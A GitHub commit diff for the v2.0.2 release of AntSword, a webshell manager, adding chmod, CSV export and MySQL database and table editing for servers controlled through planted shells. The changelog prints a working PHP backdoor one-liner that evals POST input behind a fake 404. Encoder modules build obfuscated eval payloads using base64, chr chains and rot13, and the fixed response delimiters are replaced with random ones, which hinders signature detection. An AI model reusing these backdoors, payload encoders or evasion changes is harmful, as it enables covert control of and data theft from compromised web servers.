Unverified Commit a94c3c48 authored by Medicean's avatar Medicean Committed by GitHub

Release v2.0.2

Merge pull request #104 from AntSwordProject/v2.0.x
parents 4a6d93ee 71894bf5
......@@ -2,6 +2,50 @@
> 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2018/12/05 `(v2.0.2)`
### 模块增强
#### Shell 管理
* 可在 Shell 编辑数据窗口下的`其它设置`栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误)
#### 文件管理
* PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如 `0644`
#### 数据管理
* 优化了查询结果显示,默认所有列宽为 100
* 可将查询结果导出为 CSV 文件
* PHP Shell MySQL 数据库可视化增强,支持`新建数据库`,`删除数据库`,`新建表`,`修改表名`,`删除表`,`编辑列名`,`删除列`
#### 虚拟终端
* 虚拟终端界面下使用 `Ctrl` + `=`(和`+`在一起的那个键) 可放大, `Ctrl` + `-` 可缩小
#### 浏览网站
* 新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL
* 调整了工具栏按钮的排列
* 关闭了默认自动打开 URL,需要手动点击「浏览」按钮
### Bug Fix
* 修正 windows 客户端下用户编码器路径解析错误的问题
### Other
* 数据分割符随机化,再也不是之前固定的 `->|``|<-`
* 支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下:
```
<?php http_response_code(404);@eval($_POST['ant']);?>
```
* JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录
* 关于页面新增 [Discord 在线交流地址](https://discord.gg/Uzh5nUf)
## 2018/09/12 `(v2.0.1)`
### 插件
......
# AntSword [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]
# AntSword [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> AntSword in your hands, no worries in your mind!
......
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> 一剑在手,纵横无忧!
......
......@@ -122,7 +122,11 @@ class Request {
}, res, callback);
})
.end((err, ret) => {
let buff = ret.body;
if (!ret) {
// 请求失败 TIMEOUT
return event.sender.send('request-error-' + opts['hash'], err);
}
let buff = ret.hasOwnProperty('body') ? ret.body : new Buffer();
// 解码
let text = iconv.decode(buff, opts['encode']);
if (err && text == "") {
......
{
"name": "antsword",
"version": "2.0.1",
"version": "2.0.2",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
......
......@@ -111,8 +111,7 @@ ChangeLog:
return ret;
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = this.getClass().getResource("/").getPath();
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
......@@ -286,7 +285,7 @@ ChangeLog:
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
......
......@@ -103,8 +103,7 @@ Ver:1.3
return ret;
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = this.getClass().getResource("/").getPath();
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
......@@ -278,7 +277,7 @@ Ver:1.3
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
......
......@@ -44,8 +44,8 @@ class ASP extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
......
......@@ -47,8 +47,8 @@ class ASPX extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
......
......@@ -38,7 +38,7 @@ module.exports = () => ({
upload_file: {
_: 'U',
'z1': '#{path}',
'z2': '#{hex::content}'
'z2': '#{buffer::content}'
},
rename: {
......
......@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
......@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt());
i ++;
}
return `eVAl(cHr(${ret.join(').ChR(')}));`;
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}
// 编码并去除多余数据
......
......@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt().toString(16));
i ++;
}
return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
}
// 编码并去除多余数据
......
......@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = encode(data['_']);
data[pwd] = `eval(str_rot13($_POST[${randomID}]));`;
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_'];
return data;
}
......@@ -45,8 +45,9 @@ class PHP extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = "->|";
let tag_e = "|<-";
let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
// 组合完整的代码
let tmpCode = data['_'];
......
......@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({
[arg2]: "#{base64::time}"
},
chmod: {
_:
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`,
[arg1]: "#{base64::path}",
[arg2]: "#{base64::mode}"
},
mkdir: {
_:
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`,
......
......@@ -170,6 +170,7 @@ module.exports = {
nohttps: 'Ignore HTTPS certificate',
terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache",
uploadFragment: "Upload File Fragmentation Size",
requestTimeout: 'Request timeout',
commandPath: 'Custom terminal-execPath'
}
......@@ -219,6 +220,12 @@ module.exports = {
success: (path) => antSword.noxss(`Retime file success!\n${path}`),
error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\n' + err : ''}`)
},
chmod: {
title: 'Chmod File',
check: 'Input should be octal numbers, eg: 0644',
success: (path) => antSword.noxss(`Chmod file success!\n${path}`),
error: (path, err) => antSword.noxss(`Chmod file [${path}] failed!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget File',
check: 'URL is not correct!',
......@@ -234,6 +241,9 @@ module.exports = {
task: {
name: 'Upload',
success: 'Upload success!',
httperr_413: 'Please lower the upload file shard size setting.',
httperr_etime: 'Request timeout, please increase the timeout period.',
httperr_econnrefused: 'Connection refused, check target or proxy is enabled.',
failed: (err) => antSword.noxss(`Failed:${err}`),
error: (err) => antSword.noxss(`Error:${err}`)
},
......@@ -303,6 +313,7 @@ module.exports = {
upload: 'Upload',
download: 'Download',
modify: 'Modify the file time',
chmod: 'Chmod',
copy: {
title: 'Copy',
warning: (id) => antSword.noxss(`Already add to clipboard!\n${id}`),
......@@ -362,7 +373,18 @@ module.exports = {
menu: {
add: 'Add conf',
del: 'Del conf',
edit: 'Edit conf'
edit: 'Edit conf',
adddb: 'New Database',
editdb: 'Edit Database',
deldb: 'Del Database',
addtable: 'New Table',
edittable: 'Edit TableName',
desctable: 'Desc Table',
showcreatetable: 'Create Table SQL',
deltable: 'Del Table',
addcolumn: 'New Column',
editcolumn: 'Edit ColumnName',
delcolumn: 'Del Column',
}
},
query: {
......@@ -380,8 +402,13 @@ module.exports = {
query: (err) => antSword.noxss(`Failure to execute SQL!\n${err}`),
parse: 'Return data format is incorrect!',
noresult: 'No query results!'
},
dump: {
title: "Export Data",
success: "Export success",
}
},
notsupport: 'Not support the current database type',
form: {
title: 'Add conf',
toolbar: {
......@@ -402,6 +429,74 @@ module.exports = {
confirm: 'Determine delete this configuration?',
success: 'Delete configuration success!',
error: (err) => antSword.noxss(`Delete configuration failed!\n${err}`)
},
adddb: {
title: 'New Database',
dbname: 'Name',
characterset: 'Character Set',
charactercollation: 'Collation',
createbtn: 'OK',
cancelbtn: 'Cancel',
success: 'Create database successfully',
error: 'Failed to create database',
},
editdb: {
title: 'Database Properties',
dbname: 'Name(readonly)',
characterset: 'Character Set',
charactercollation: 'Collation',
updatebtn: 'OK',
cancelbtn: 'Cancel',
success: 'Edit database successfully',
error: 'Failed to edit database',
},
deldb: {
title: 'Delete Database',
confirm: (name) => antSword.noxss(`Are you sure you want to delete database ${name} ?`),
success: 'Delete database successfully',
error: 'Failed to delete database',
},
addtable: {
title: 'New Table',
add: 'New Column',
delete: 'Delete Column',
save: 'Save',
gridheader: "Name,Type,Length,Not Null,Key,Auto Increment",
delete_not_select: "Please select the row you want to delete first",
save_row_is_null: "The number of rows is empty",
cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`,
confirmtitle: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Create table successfully',
error: 'Failed to create table',
},
edittable: {
title: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Update table name successfully',
error: 'Failed to update table',
},
deltable: {
title:'Delete Table',
confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`),
success: 'Delete table successfully',
error: 'Failed to delete table',
},
addcolumn: {
},
editcolumn: {
title: "New column name",
invalid_tablename: "Column names should not contain special symbols",
get_column_type_error: "Get column type error",
success: 'Update column name successfully',
error: 'Failed to update column',
},
delcolumn: {
title:'Delete Column',
confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`),
success: 'Delete column successfully',
error: 'Failed to delete column',
}
}
},
......@@ -411,7 +506,8 @@ module.exports = {
header: 'AntSword',
homepage: 'Home',
document: 'Document',
qqgroup: 'QQ Group'
qqgroup: 'QQ Group',
discord: 'Discord'
},
language: {
title: 'Language setting',
......
......@@ -171,6 +171,7 @@ module.exports = {
nohttps: '忽略HTTPS证书',
terminalCache: '虚拟终端使用缓存',
filemanagerCache: '文件管理使用缓存',
uploadFragment: '上传文件分片大小',
requestTimeout: '请求超时',
commandPath: '自定义终端执行路径'
}
......@@ -220,6 +221,12 @@ module.exports = {
success: (path) => antSword.noxss(`更改文件时间成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败!${err ? '\n' + err : ''}`)
},
chmod: {
title: '更改权限',
check: "输入应为八进制数表示的权限, eg: 0644",
success: (path) => antSword.noxss(`更改文件权限成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件权限 [${path}] 失败!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget下载文件',
check: 'URL地址不正确!',
......@@ -235,6 +242,9 @@ module.exports = {
task: {
name: '上传',
success: '上传成功',
httperr_413: '请将上传文件分片大小设置调低',
httperr_etime: '请求超时,请将超时时间调大',
httperr_econnrefused: '连接被拒绝,检查目标或代理是否开启',
failed: (err) => antSword.noxss(`失败:${err}`),
error: (err) => antSword.noxss(`出错:${err}`)
},
......@@ -304,6 +314,7 @@ module.exports = {
upload: '上传文件',
download: '下载文件',
modify: '更改文件时间',
chmod: '更改权限',
copy: {
title: '复制文件',
warning: (id) => antSword.noxss(`已经添加到剪贴板!\n${id}`),
......@@ -363,7 +374,18 @@ module.exports = {
menu: {
add: '添加配置',
del: '删除配置',
edit: '编辑配置'
edit: '编辑配置',
adddb: '新建数据库',
editdb: '编辑数据库',
deldb: '删除数据库',
addtable: '新建表',
edittable: '编辑表名',
deltable: '删除表',
showcreatetable: '建表语句',
desctable: '查看表结构',
addcolumn: '添加列',
editcolumn: '编辑列名',
delcolumn: '删除列',
}
},
query: {
......@@ -381,8 +403,13 @@ module.exports = {
query: (err) => antSword.noxss(`执行SQL失败!\n${err}`),
parse: '返回数据格式不正确!',
noresult: '没有查询结果!'
},
dump: {
title: "导出查询结果",
success: "导出成功",
}
},
notsupport: '该功能暂不支持当前类型数据库',
form: {
title: '添加配置',
toolbar: {
......@@ -403,6 +430,74 @@ module.exports = {
confirm: '确定删除此配置吗?',
success: '删除配置成功!',
error: (err) => antSword.noxss(`删除配置失败!\n${err}`)
},
adddb: {
title: '新建数据库',
dbname: '名称',
characterset: '字符集',
charactercollation: '字符集排序',
createbtn: '创建',
cancelbtn: '取消',
success: '创建数据库成功',
error: '创建数据库失败',
},
editdb: {
title: '修改数据库',
dbname: '名称(只读)',
characterset: '字符集',
charactercollation: '字符集排序',
updatebtn: '修改',
cancelbtn: '取消',
success: '修改数据库成功',
error: '修改数据库失败',
},
deldb: {
title: '删除数据库',
confirm: (name) => antSword.noxss(`确定要删除数据库 ${name} 吗?`),
success: '删除数据库成功',
error: '删除数据库失败',
},
addtable: {
title: '新建表',
add: '新增字段',
delete: '删除字段',
save: '保存',
gridheader: "名称,类型,长度,不为空,主键,自增长",
delete_not_select: "请先选中要删除的行",
save_row_is_null: "行数为空",
cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`,
confirmtitle: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '新建表成功',
error: '新建表失败',
},
edittable: {
title: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '修改表名成功',
error: '修改表名失败',
},
deltable: {
title:'删除表',
confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`),
success: '删除表成功',
error: '删除表失败',
},
addcolumn: {
},
editcolumn: {
title: "输入新列名",
invalid_tablename: "列名不能带有特殊符号",
get_column_type_error: "获取列属性失败",
success: '修改列名成功',
error: '修改列名失败'
},
delcolumn: {
title:'删除列',
confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`),
success: '删除列成功',
error: '删除列失败',
}
}
},
......@@ -412,7 +507,8 @@ module.exports = {
header: '中国蚁剑',
homepage: '主页',
document: '文档',
qqgroup: 'Q群'
qqgroup: 'Q群',
discord: '在线交流'
},
language: {
title: '语言设置',
......
......@@ -525,8 +525,10 @@ class ASP {
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
......@@ -541,13 +543,32 @@ class ASP {
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
}
// 启用toolbar按钮
......
......@@ -525,8 +525,10 @@ class CUSTOM {
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
......@@ -541,13 +543,32 @@ class CUSTOM {
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
}
// 启用toolbar按钮
......
//
// 数据库管理模块
//
// TODO: 数据管理模块目前的代码存在大量冗余,后期会考虑将 数据库驱动 与 core 分成两个块来做
// import React from 'react';
// import ReactDOM from 'react-dom';
// import AceEditor from 'react-ace';
......@@ -158,14 +158,21 @@ class Database {
layout.setText(`<i class="fa fa-inbox"></i> ${LANG['result']['title']}`);
// layout.hideHeader();
// const toolbar = layout.attachToolbar();
// toolbar.loadStruct([
// { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
// { type: 'separator' }
// ]);
const toolbar = layout.attachToolbar();
toolbar.loadStruct([
{ id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
{ type: 'separator' }
]);
toolbar.attachEvent('onClick', (id) => {
switch(id) {
case 'dump':
this.drive.dumpResult();
break;
}
});
return {
layout: layout,
// toolbar: toolbar
toolbar: toolbar
};
}
......
......@@ -5,6 +5,8 @@
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
class PHP {
......@@ -77,29 +79,170 @@ class PHP {
});
// 5. tree右键::功能菜单
this.tree.attachEvent('onRightClick', (id, event) => {
if (!id.startsWith('conn::')) { return };
this.tree.selectItem(id);
this.tree.callEvent('onClick', [id]);
bmenu([
{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this.addConf.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['edit'],
icon: 'fa fa-edit',
action: this.editConf.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['del'],
icon: 'fa fa-remove',
action: this.delConf.bind(this)
}
], event);
const arr = id.split('::');
if (arr.length < 2) { throw new Error('ID ERR: ' + id) };
switch(arr[0]) {
case 'conn':
this.tree.callEvent('onClick', [id]);
bmenu([
{
text: LANG['list']['menu']['adddb'],
icon: 'fa fa-plus-circle',
action: this.addDatabase.bind(this)
},
{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this.addConf.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['edit'],
icon: 'fa fa-edit',
action: this.editConf.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['del'],
icon: 'fa fa-remove',
action: this.delConf.bind(this)
}
], event);
break;
case 'database':
this.tree.callEvent('onClick', [id]);
bmenu([
{
text: LANG['list']['menu']['addtable'],
icon: 'fa fa-plus-circle',
action: this.addTable.bind(this)
},
{
text: LANG['list']['menu']['adddb'],
icon: 'fa fa-plus-circle',
action: this.addDatabase.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['editdb'],
icon: 'fa fa-edit',
action: this.editDatabase.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['deldb'],
icon: 'fa fa-remove',
action: this.delDatabase.bind(this)
}
], event);
break;
case 'table':
this.tree.callEvent('onClick', [id]);
bmenu([
{
text: LANG['list']['menu']['addtable'],
icon: 'fa fa-plus-circle',
action: this.addTable.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['desctable'],
icon: 'fa fa-table',
action: this.descTable.bind(this)
}, {
text: LANG['list']['menu']['showcreatetable'],
icon: 'fa fa-info',
action: this.showcreateTable.bind(this)
}, {
text: LANG['list']['menu']['edittable'],
icon: 'fa fa-edit',
action: this.editTable.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['deltable'],
icon: 'fa fa-remove',
action: this.delTable.bind(this)
}
], event);
break;
case 'column':
this.tree.callEvent('onClick', [id]);
bmenu([
{
text: LANG['list']['menu']['editcolumn'],
icon: 'fa fa-edit',
action: this.editColumn.bind(this)
}, {
text: LANG['list']['menu']['delcolumn'],
icon: 'fa fa-remove',
action: this.delColumn.bind(this)
},
], event);
break;
}
// if (id.startsWith('conn::')) {
// this.tree.callEvent('onClick', [id]);
// bmenu([
// {
// text: LANG['list']['menu']['add'],
// icon: 'fa fa-plus-circle',
// action: this.addConf.bind(this)
// }, {
// divider: true
// }, {
// text: LANG['list']['menu']['edit'],
// icon: 'fa fa-edit',
// action: this.editConf.bind(this)
// }, {
// divider: true
// }, {
// text: LANG['list']['menu']['del'],
// icon: 'fa fa-remove',
// action: this.delConf.bind(this)
// }
// ], event);
// };
});
// mysql column type
// TODO:
// 1. column default value
// 2. character set
// 3. unsigned
this.mysqlcolumntypes = [
"tinyint", "smallint", "mediumint", "int", "integer", "bigint", "float", "double",
"date", "time", "year", "datetime", "timestamp",
"char", "varchar", "tinytext", "blob", "text", "mediumblob", "mediumtext", "longblob", "longtext"
];
// mysql character set mapping
this.mysqlcsMapping = {
'default': ['default'],
'utf8': [
"utf8_general_ci","utf8_bin","utf8_unicode_ci","utf8_icelandic_ci","utf8_latvian_ci","utf8_romanian_ci","utf8_slovenian_ci","utf8_polish_ci","utf8_estonian_ci","utf8_spanish_ci","utf8_swedish_ci","utf8_turkish_ci","utf8_czech_ci","utf8_danish_ci","utf8_lithuanian_ci","utf8_slovak_ci","utf8_spanish2_ci","utf8_roman_ci","utf8_persian_ci","utf8_esperanto_ci","utf8_hungarian_ci","utf8_sinhala_ci","utf8_general_mysql500_ci",
],
'big5': [ "big5_chinese_ci","big5_bin"],
'dec8': [ "dec8_swedish_ci","dec8_bin"],
'cp850': [ "cp850_general_ci","cp850_bin"],
'hp8': [ "hp8_general_ci","hp8_bin"],
'koi8r': [ "koi8_general_ci","koi8_bin"],
'latin1':[
"latin1_german1_ci","latin1_swedish_ci","latin1_danish_ci","latin1_german2_ci","latin1_bin","latin1_general_ci","latin1_general_cs","latin1_spanish_ci"
],
'latin2':[
"latin2_czech_cs","latin2_general_ci","latin2_hungarian_ci","latin2_croatian_ci","latin2_bin",
],
'ascii':[ "ascii_general_ci","ascii_bin" ],
'euckr':[ "euckr_korean_ci","euckr_bin" ],
'gb2312':[ "gb2312_chinese_ci","gb2312_bin"],
'gbk':[ "gbk_chinese_ci","gbk_bin"],
'utf8mb4': [
"utf8mb4_general_ci","utf8mb4_bin","utf8mb4_unicode_ci","utf8mb4_icelandic_ci","utf8mb4_latvian_ci","utf8mb4_romanian_ci","utf8mb4_slovenian_ci","utf8mb4_polish_ci","utf8mb4_estonian_ci","utf8mb4_spanish_ci","utf8mb4_swedish_ci","utf8mb4_turkish_ci","utf8mb4_czech_ci","utf8mb4_danish_ci","utf8mb4_lithuanian_ci","utf8mb4_slovak_ci","utf8mb4_spanish2_ci","utf8mb4_roman_ci","utf8mb4_persian_ci","utf8mb4_esperanto_ci","utf8mb4_hungarian_ci","utf8mb4_sinhala_ci",
],
'utf16': [
"utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci",
],
};
}
// 加载配置列表
......@@ -418,6 +561,678 @@ class PHP {
});
}
// 新增数据库
addDatabase() {
const id = this.tree.getSelected().split('::')[1].split(":")[0];
// // 获取配置
// const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
// _id: this.manager.opt['_id'],
// id: id
// });
const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
// 创建窗口
const win = this.manager.win.createWindow(hash, 0, 0, 450, 200);
win.setText(LANG['form']['adddb']['title']);
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
// form
const form = win.attachForm([
{ type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },
{ type: 'block', inputWidth: 'auto', offsetTop: 12, list: [
{ type: 'input', label: LANG['form']['adddb']['dbname'], name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",},
{ type: 'combo', label: LANG['form']['adddb']['characterset'], readonly:true, name: 'characterset', options: (() => {
let ret = [];
Object.keys(this.mysqlcsMapping).map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() },
{ type: 'combo', label: LANG['form']['adddb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{
let ret = [];
this.mysqlcsMapping[c].map((_)=>{
ret.push({
text: _,
value: _,
});
});
return ret;
})("default")},
{ type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[
{ type:"button" , name:"createbtn", value: `<i class="fa fa-plus"></i> ${LANG['form']['adddb']['createbtn']}`},
{type: 'newcolumn', offset:20},
{ type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['adddb']['cancelbtn']}`},
]}
]}
], true);
form.enableLiveValidation(true);
// combo 联动
form.attachEvent("onChange",(_, id)=>{
if (_ == "characterset") {
let collcombo = form.getCombo("charactercollation");
collcombo.clearAll();
collcombo.setComboValue(null);
let ret = [];
this.mysqlcsMapping[id].map((_)=>{
ret.push({
text: _,
value: _,
});
});
collcombo.addOption(ret);
collcombo.selectOption(0);
}
});
form.attachEvent("onButtonClick", (btnid)=>{
switch(btnid){
case "createbtn":
if(form.validate()==false){break;}
let formvals = form.getValues();
let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`;
let sql = `CREATE DATABASE IF NOT EXISTS ${formvals['dbname']} ${charset};`
this.execSQLAsync(sql, (res, err)=>{
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let data = res['text'];
let arr = data.split('\n');
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
if(arr[1].indexOf("VHJ1ZQ==")!= -1){
// 操作成功
toastr.success(LANG['form']['adddb']['success'] ,LANG_T['success']);
win.close();
// refresh
this.getDatabases(id);
return
}
toastr.error(LANG['form']['adddb']['error'], LANG_T['error']);
return
});
// 创建
break
case "cancelbtn":
win.close();
break;
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
}
editDatabase() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `SELECT SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME FROM \`information_schema\`.\`SCHEMATA\` where \`SCHEMA_NAME\`="${dbname}";`
this.execSQLAsync(sql, (res, err)=>{
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
dbname = result.datas[0][0]
let characterset = result.datas[0][1] || "default"
let collation = result.datas[0][2] || "default"
// 创建窗口
const win = this.manager.win.createWindow(hash, 0, 0, 450, 200);
win.setText(LANG['form']['editdb']['title']);
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
// form
const form = win.attachForm([
{ type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },
{ type: 'block', inputWidth: 'auto', offsetTop: 12, list: [
{ type: 'input', label: LANG['form']['editdb']['dbname'], name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",},
{ type: 'combo', label: LANG['form']['editdb']['characterset'], readonly:true, name: 'characterset', options: (() => {
let ret = [];
